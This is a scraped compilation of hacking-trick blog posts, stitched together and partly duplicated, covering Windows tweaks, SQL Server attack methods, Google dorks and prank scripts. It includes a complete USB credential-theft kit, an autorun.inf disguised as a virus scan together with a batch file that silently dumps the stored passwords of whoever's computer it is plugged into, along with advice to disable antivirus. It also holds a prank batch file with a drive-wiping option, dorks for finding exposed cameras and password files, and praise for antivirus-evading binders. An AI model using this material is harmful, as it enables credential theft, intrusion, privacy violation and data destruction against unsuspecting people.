Step 1 - Modify Explorer.exe File
In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.
get this from http://delphi.icm.edu.pl/ftp/tools/ResHack.zip
The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.
The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.
There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!
You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.
Step 2 – Modify the Registry
!!!make a backup of your registry before making changes!!!
Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.
Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]
Showing posts with label Tricks. Show all posts
Showing posts with label Tricks. Show all posts
Top 10 Tricks to exploit SQL Server Systems
Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.
1. Direct connections via the Internet
These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.
2. Vulnerability scanning
Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.
Figure 1: Common SQL injection vulnerabilities found using WebInspect.
3. Enumerating the SQL Server Resolution Service
Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.
4. Cracking SA passwords
Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.
5. Direct-exploit attacks
Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.
![[Image]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKiFoZe4PEoUkNxvjFs_rRMZyWikesDXSl3Pb8F_TLlnPRiljwve_ZmPm-cyDvNLaYVI_juIDUhKLNRBQ3zENVWduIvi9IIgZEfdDHktiBh9B7n7A41kvdYnN-DWnZUwKEqE61J69jGH3IJgSXUkozfGnnv4snvtWVWZapDf2JzBVdC52T9FbMls1V2JfHaxAdLe-HoJn_rcn6Dfxa3kgNm2meZwz5qCAz2HP_7xv22dnupaOyZVY55YJE4WB_trXGt_Igw-ybdfqlMl0G2Q3hhTU=s0-d)
Figure 2: SQL Server vulnerability exploitable using Metasploit's MSFConsole.
6. SQL injection
SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector, shown in Figure 3.
![[Image]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFJrY6Y0-Ds0pb6SihrkGgsNcYKGZhix1-mq5qKeNBvbji469OKTsM0YEhhr0T9uBthLVnGjhEIflUwY6jBrohRxqYYzLMBv-IzSn4zdi_kZbSKHhw7YTwWgK_ky8cEDF8NK_w7KzBJKSlzPgsZ2Bn9-IqL-hH3kxLjRwciDmbZjDf1bShkOzXd9iN7Ym_axl19o3U2DzIqrslmuFm1pgCiD3r6vLrVlSGpSFbQ8L8i_pfv6_9rMfU9hoLxAB_ZlPbmZdHAPx4h2udWW2NReVRXqY=s0-d)
Figure 3: SPI Dynamics' SQL Injector tool automates the SQL injection process.
7. Blind SQL injection
These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.
![[Image]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZ_L-1y6xjB78rJplp7USdInei8OrMoWLRXL_Zi485_yIokHBQZUsBOXNY_SiKaoTTcguL1HCiL6DeT5zpR5jeS83aCsyeLYK4erbuUz9L_MT3iRr_8ENIWT4UeGDW4IOqW0G73zIjAX9Taq78-e9ud4h18CRpX1c42tWXLy_OiQ7eBWdEu_n9fOlmrTWDkEFp0q1lezEq3ELKlxmqECMjaVxxkv93I08IG7Dpn3Dx4InWCtFomDFvkXO_WLyj_ceXLnd8aYd3fWyfNKaoXuqXV5Y=s0-d)
Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.
8. Reverse engineering the system
The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.
9. Google hacks
Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.
10. Perusing Web site source code
Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.
1. Direct connections via the Internet
These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.
2. Vulnerability scanning
Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.
Figure 1: Common SQL injection vulnerabilities found using WebInspect.
3. Enumerating the SQL Server Resolution Service
Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.
4. Cracking SA passwords
Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.
5. Direct-exploit attacks
Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.
Figure 2: SQL Server vulnerability exploitable using Metasploit's MSFConsole.
6. SQL injection
SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector, shown in Figure 3.
Figure 3: SPI Dynamics' SQL Injector tool automates the SQL injection process.
7. Blind SQL injection
These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.
Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.
8. Reverse engineering the system
The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.
9. Google hacks
Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.
10. Perusing Web site source code
Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.
How to Sniff Passwords Using USB Drive
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
Find the Person Behind the Email Address
You get an email from a person with whom you have never interacted before and therefore, before you reply to that message, you would like to know something more about him or her. How do you do this without directly asking the other person?
Web search engines are obviously the most popular place for performing reverse email lookups but if the person you’re trying to research doesn’t have a website or has never interacted with his email address on public forums before, Google will probably be of little help.
No worries, here are few tips and online services that may still help you uncover the identity of that unknown email sender.
#1. Find the sender’s location
Open the header of the email message and look for lines that say “Received: from” followed by an IP address in square brackets. If there are multiple entries, use the IP address mentioned in the last entry.
Now paste the IP address in this trace route tool and you should get a fairly good idea about the location of the email sender.
#2. Reverse email search with Facebook
Facebook has 450 million users worldwide and there’s a high probability that the sender may also have a profile on Facebook.
Unlike LinkedIn and most other social networks, Facebook lets you search users by email address so that should make your job simpler. Just paste the email address of the sender into the Facebook search box and you’ll immediately know if a matching profile exists in the network.
If you are able to locate that person on Facebook, download his profile picture and then upload it to TinEye – it’s a reverse image search engine so you can locate his other social profiles where he may have used the same picture.
#3. Check all the other Social Networks
You can use a service like Knowem to quickly determine if a profile with a particular username exists in any of the social networks.
If the email address of the send is something like green_peas@hotmail.com, there’s a probably that he or she may have created accounts of some other social network using the same alias “green_peas” – put that in knowem.com to confirm.
#4. People Search
Finally, if nothing works, you should try a people search service like Pipl and Spokeo – both services let you perform reverse email lookups but Spokeo has a more comprehensive database than Pipl.
Other than regular web documents, Spoke also scans social networks and even the whois information of domain names to find any bit of information associated with an email address. However, some of the results returned by Spokeo are only available to subscribers.
Hide TEXT in Notepad
A Superb Trick To Hide Text In Notepad
Here is a small trick to hide text inside your windows default text editor i.e Notepad using command prompt, but this trick works only on NTFS file system.
Steps to hide text in a Notepad
1. Open your command prompt Start-->Run and Type cmd
2. Move to folder where you want to save your file.
3. Type the below code in your command prompt
notepad filename.txt:hidden
4. Write some data and save(Ctrl+S) the file.
5. Browse to the file location and Open filename.txt you cannot see any data in the file.
6. To retrieve the hidden data open command prompt and type the same command.
notepad filename.txt:hidden
Hide Keyloggers and Trojans with Binders
So what do you think are you completely safe that you run untrusted MP3,JPEG files?
The answer is no, Its because you never know that virus has came with which format, It can take any format, It could be in JPEG, It could be in MP3 and it could be in almost any Format, So in this article I will tell you how hackers hide Keyloggers,Trojans and other harmful viruses in other files
What is a Binder?
A Binder is a software used to bind or combine to or more files under one name and extension, The files to be binded can have any extension or icon, Its all up to you and you have the choice to select the name, icon and various attributes of binded file, The Binded files can be even worse when they are crypted, because Bintext would not be able to find it and at the same time it could also bypass antivirus detection then you are almost guaranteed to be infected
Popular Binders
Here are some of the popular binders used by hackers to hide keyloggers and Trojans:
Simple Binder
Simple binder is one of my favorite binders of all time, I give thumbs up to the maker "Nathan", Its so easy to use and even a script kiddie can easily use it to bind keylogger or backdoors with other files
Weekend Binder
Weekend Binder can be used to bind two or more files under one extension and icon, If the binded file contains an application, the application also runs along with the actual binded files .
How to detect Crypted Binded files?
As I told you before that if a trojan or keylogger is binded with a file and it's crypted in order to bypass antivirus detection then its very difficult to detect it, However there is a great piece of software called resource hacker which is really effective when it comes to keylogger protection, It detects whether the file is binded or not.
Credits:rafayhackingarticles.blogspot
Hacking Techniques - Scanning Networks and Countermeasures
Ehtical Hacking,
Enumeration,
Hack,
Hacks,
HTTP Tunneling,
IP Spoofing,
Port Scanning,
Scanning,
Tricks,
Tutorials
Scanning and enumeration are the first phases of hacking and involve the hacker locating target systems or networks. Enumeration is the follow-on step once scanning is complete and is used to identify computer names, usernames, and shares.
Scanning
During scanning, the hacker continues to gather information regarding the network and its
individual host systems. Data such as IP addresses, operating system, services, and installed
applications can help the hacker decide which type of exploit to use in hacking a system.
Scanning is the process of locating systems that are alive and responding on the network. Ethical
hackers use it to identify target systems’ IP addresses.
Scanning Type Purpose
Port scanning Determines open ports and services
Network scanning IP addresses
Vulnerability scanning Presence of known weaknesses
Network scanning IP addresses
Vulnerability scanning Presence of known weaknesses
Port scanning is the process of identifying open and available TCP/IP ports on a system. Port-scanning tools enable a hacker to learn about the services available on a given system. For example, a port-scanning tool that identifies port 80 as open indicates a web server is running on that system.
Network scanning is a procedure for identifying active hosts on a network, either to attack them or as a network security assessment. Hosts are identified by their individual IP addresses. Network-scanning tools attempt to identify all the live or responding hosts on the network and their corresponding IP addresses.
Vulnerability scanning is the process of proactively identifying the vulnerabilities of computer systems on a network. Generally, a vulnerability scanner first identifies the operating system and version number, including service packs that may be installed. Then, the vulnerability scanner identifies weaknesses or vulnerabilities in the operating system.
Port-Scan Countermeasures
Countermeasures are processes or tool sets used by security administrators to detect and possibly
thwart port scanning of hosts on their network. The following list of countermeasures
should be implemented to prevent a hacker from acquiring information during a port scan:
Proper security architecture, such as implementation of IDS and firewalls, should be
followed.
Ethical hackers use their tool set to test the scanning countermeasures that have been
implemented. Once a firewall is in place, a port-scanning tool should be run against hosts
on the network to determine whether the firewall correctly detects and stops the portscanning
activity.
The firewall should be able to detect the probes sent by port-scanning tools. The firewall
should carry out stateful inspections, which means it examines the data of the packet
and not just the TCP header to determine whether the traffic is allowed to pass through
the firewall.
Network IDS should be used to identify the OS-detection method used by some common
hackers tools, such as Nmap.
Only needed ports should be kept open. The rest should be filtered or blocked.
The staff of the organization using the systems should be given appropriate training on
security awareness. They should also know the various security policies they’re required
to follow.
Nmap is a free open source tool that quickly and efficiently performs ping sweeps, port scanning,
service identification, IP address detection, and operating system detection. Nmap has
the benefit of scanning of large number of machines in a single session. It’s supported by many
operating systems, including Unix, Windows, and Linux.
The state of the port as determined by an Nmap scan can be open, filtered, or unfiltered.
Open
means that the target machine accepts incoming request on that port.
Filtered
means a firewall or network filter is screening the port and preventing Nmap from discovering whether
it’s open.
Unfiltered
mean the port is determined to be closed, and no firewall or filter is interfering with the Nmap requests.
A proxy server is a computer that acts as an intermediary between the hacker and the target computer.
Using a proxy server can allow a hacker to become anonymous on the network. The hacker
first makes a connection to the proxy server and then requests a connection to the target computer
via the existing connection to the proxy. Essentially, the proxy requests access to the target
computer not the hacker’s computer. This lets a hacker surf the web anonymously or
otherwise hide their attack.
HTTP Tunneling Techniques
A popular method of bypassing a firewall or IDS is to tunnel a blocked protocol (such
as SMTP) through an allowed protocol (such as HTTP). Almost all IDS and firewalls
act as a proxy between a client’s PC and the Internet and pass only the traffic defined as
being allowed.
Most companies allow HTTP traffic because it’s usually benign web access. However, a
hacker using a HTTP tunneling tool can subvert the proxy by hiding potentially destructive
protocols, such as IM or chat, within an innocent-looking protocol packet.
HTTPort, Tunneld, and BackStealth are all tools to tunnel traffic though HTTP. They allow the
bypassing of an HTTP proxy, which blocks certain protocols access to the Internet. These
tools allow the following potentially dangerous software protocols to be used from behind an
HTTP proxy:
- IRC
- ICQ
- News
- AIM
- FTP
IP Spoofing Techniques
A hacker can spoof an IP address when scanning target systems to minimize the chance of detection.
One drawback of spoofing an IP address is that a TCP session can’t be successfully completed.
Source routing lets an attacker specify the route that a packet takes through the Internet.
This can also minimize the chance of detection by bypassing IDS and firewalls that may block
or detect the attack. Source routing uses a reply address in the IP header to return the packet
to a spoofed address instead of the attacker’s real address.
To detect IP address spoofing, you can compare the time to live (TTL) values: The
attacker’s TTL will be different from the spoofed address’s real TTL.
More Fun With Google Search Hacks
Let's say in the regular search command line you"ll write "Index of /mp3" and
press search. and guess what you"ll get? bunch of places to download mpz.
Lot's of sites indexed by google (or any other search engine. use your local search
engine to get sites with local music) Of cause there are many others usefull
search phrases. think about them, and if u have something original, share with
us back. basically u've got the idea
some other keywords examples:
Index of ftp/ +.mp3
Index of music/
Index of films/
Index of "Your favorite artist/album/movie etc"
/exchange/login.asp this one is really good. (btw, google seems to be filtering
this exact search, but if u"ll try altavista for example you"ll got plenty of results).
You"ll have lots of links pointing to public accesable IIS servers Outlook Web
Axx (you don't have to scan to find them ;P
just run you favorite hole looking tools on them to see if any usefull IIS was there.
You can name here other usefull web servers searches anything
that u know run on IIS rather that on apache .
Google have also socalled operators that should help you to narrow the search
and get more specific results. USE THEM
Google supports several advanced operators, which are query words that have
special meaning to Google. Typically these operators modify the search in some
way, or even tell Google to do a totally different type of search. For instance,
"link:" is a special operator, and the query [link:www.google.com] doesn't do a
normal search but instead finds all web pages that have links to
www.google.com.
Several of the more common operators use punctuation instead of words, or do
not require a colon. Among these operators are OR, "" (the quote operator), (
the minus operator), and + (the plus operator)
Many of these special operators are accessible from the Advanced Search page,
but some are not.
Advanced operator list :
• cache:
• link:
• related:
• info:
• stocks:
• site:
• allintitle:
• intitle:
• allinurl:
• inurl:
allintitle:
If you start a query with [allintitle:], Google will restrict the results to those with
all of the query words in the title. For instance, [allintitle: google search] will
return only documents that have both "google" and "search" in the title.
Ex. allintitle: Microsoft Outlook web access Logon
This will bring you again lot's of IIS servers that you could test.
Some other examples
inurl:"auth_user_file.txt"
inurl:"wwwroot/*.*"
allinurl:/cgibin/ +mailto
inurlasswd filetype:txt
inurl/file type.. search for .htm OR .html OR .txt OR .php "passwd" porn -xxx
quotes = required
minus = not wanted
.htm .html etc are your keywords..
inurl:robots filetype:txt
the robots file is useful for finding directories on the server such as php login pages
allintitle: "index of/admin"
allintitle: "index of/root"
and for fun
try access http://www.google.com/intl/xxhacker/
Elite search engine again. Love it
Fun with Google Searches
METHOD 1
put this string in google search:
parent directory /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Notice that I am only changing the word after the parent directory, change it to
what you want and you will get a lot of stuff.
METHOD 2
put this string in google search:
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
?intitle:index.of? mpg name
METHOD 3
put this string in google search:
inurl:microsoft filetype:iso
You can change the string to watever you want, ex. microsoft to adobe, iso to
zip etc
Bypass the Disabled Right Click option in Websites
While browsing over the internet I have came across many sites disabling the right click feature on the website. The right click will be generally disabled to eradicate the copying of the content and for many other reasons.
The trick is that you can bypass this disable feature by changing the Security custom levels in your IE
Here is a step by step procedure.(Assuming that you use IE 7 for instance)
1. Open you Internet Explorer Browser
2. Click on "Tools"-> "Internet Options"
3. Click on the "Security" tab
4. Click "Custom Level"
5. Scroll down to the "Scripting" section
6. There set "Active Scripting" to "disable"
7. Then click "OK" on all the open boxes.
That's it. Now open the website and then now you don't have that disabling of the right click.
Once your work is done you need to enable it back again as many of the sites uses the java scripting and this need to be enabled to view those pages.
Reveals the Contents of Password Fields - JavaScript
Here is a Java Script which shows the password in the password field in plain text
Use to reveal passwords stored in browser password field
Open the webpage login screen
Eg: www.gmail.com
If u had selected "Remember my Password" while logging in previously; then you will see ur username and password field filled in automatically from your browser cookies.
The password field still shows asterisks(**********) which can be found through this javascript.
just copy and paste the code below in the address bar and hit Enter
javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j>F.length; ++j) { f = F[j]; for (i=0; i>f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();
Most Dangerous Scripts to Prank your Friends..
1) Convey your friend a little message and shut down his / her computer:
Type :
@echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
| Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop |
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
| Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop |
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
| WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! " |
6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
| MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop |
7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
| Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop |
8. Open Notepad continually in your friend's computer:
Type :
Quote:
| @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top |
9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
Quote:
| @echo off title The end of the world cd C:\ :menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two |
Google Search Hack Stuffs
1st Hack :-
Viewing Still Security Cameras Using Google :-
>> Open Google And Type :
inurl:"viewerframe?mode=motion"
In The Search Bar And Search,Open Any Results Shown To See Other's Security Cameras !!
2nd Hack :-
Viewing Motion Security Video Cameras Using Google :-
>> Open Google And Type :
intitle:"Live View / - AXIS"
In The Search Bar And Search,Open Any Results Shown To See Other's Online Video Cameras !!
3rd Hack :-
Unspidered Sites Using Google :-
>> Open Google And Tye :
"robots.txt" "disallow:" filetype:txt
In The Search Bar And Search,Open Any Results Shown To See Hidden WebPages !!
4th Hack :-
Frontpage User Info Using Google :-
>> Open Google And Tye :
inurl:_vti_pvt "service.pwd"
In The Search Bar And Search,Open Any Results Shown To See Other's Frontpage User Info !!
5th Hack :-
PHP Photo Album Hack Using Google :-
>> Open Google And Tye :
inurl:"phphotoalbum/upload"
In The Search Bar And Search,Open Any Results Shown To Upload/See/Download Other's Photo Album's !!
6th Hack :-
VNC User INFO Using Google :-
>> Open Google And Tye :
"vnc desktop"inurl:5800
In The Search Bar And Search,Open Any Results Shown To Make Bruteforce Attack To Access Other Computers !!
7th Hack :-
Accessing Printers Using Google :-
>> Open Google And Tye :
inurl:"port_255" -htm
In The Search Bar And Search,Open Any Results Shown To See/Configure Print Any Documents On Other Network Prnters !!
8th Hack :-
PHP Admin Account Hack Using Google :-
>> Open Google And Tye :
